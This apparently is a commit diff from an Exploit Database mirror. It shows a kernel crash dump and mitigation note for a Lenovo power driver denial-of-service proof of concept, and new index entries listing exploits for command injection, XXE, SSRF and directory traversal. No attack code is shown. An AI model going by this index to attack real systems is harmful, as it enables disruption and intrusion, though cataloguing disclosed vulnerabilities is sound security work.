rax=fffff80428bf5020 rbx=ffffca04c88b3080 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=000000000068fd18 rdi=ffffc709dee8f9a8
|
||||
rip=fffff8041f27a305 rsp=ffffc709dee8f990 rbp=ffffc709dee8fa80
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!setjmpex+0x7925:
|
||||
fffff804`1f27a305 0f1f00 nop dword ptr [rax]
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
0f 00000000`0068fcf8 00000000`00000000 0x00007fff`33aaf844
|
||||
0f 00000000`0068fcf8 00000000`00000000 0x00007fff`33aaf844
|
||||
rax=fffff80428bf5020 rbx=0000000000000000 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=00000000deadbeef rdi=000000000000004c
|
||||
rip=00007fff33aaf844 rsp=000000000068fcf8 rbp=000000000000004c
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
00007fff`33aaf844 ?? ???
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
|
||||
|
||||
# Mitigation
|
||||
|
||||
Update to Lenovo Power Management driver version 1.67.17.48 or higher
|
||||
|
|
@ -6621,6 +6621,7 @@ id,file,description,date,author,type,platform,port
|
|||
47767,exploits/windows/dos/47767.py,"Product Key Explorer 4.2.0.0 - 'Key' Denial of Service (PoC)",2019-12-11,SajjadBnd,dos,windows,
|
||||
47768,exploits/windows/dos/47768.txt,"AppXSvc 17763 - Arbitrary File Overwrite (DoS)",2019-12-11,"Gabor Seljan",dos,windows,
|
||||
47769,exploits/windows/dos/47769.txt,"Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font",2019-12-11,"Google Security Research",dos,windows,
|
||||
47771,exploits/windows/dos/47771.c,"Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC)",2019-12-12,"Nassim Asrir",dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -42080,3 +42081,5 @@ id,file,description,date,author,type,platform,port
|
|||
47764,exploits/hardware/webapps/47764.txt,"Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery",2019-12-10,LiquidWorm,webapps,hardware,
|
||||
47765,exploits/hardware/webapps/47765.txt,"Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution",2019-12-10,LiquidWorm,webapps,hardware,
|
||||
47770,exploits/java/webapps/47770.txt,"Apache Olingo OData 4.0 - XML External Entity Injection",2019-12-11,"Compass Security",webapps,java,
|
||||
47772,exploits/php/webapps/47772.rb,"OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)",2019-12-12,"Onur ER",webapps,php,
|
||||
47773,exploits/php/webapps/47773.txt,"Bullwark Momentum Series JAWS 1.0 - Directory Traversal",2019-12-12,"numan türle",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue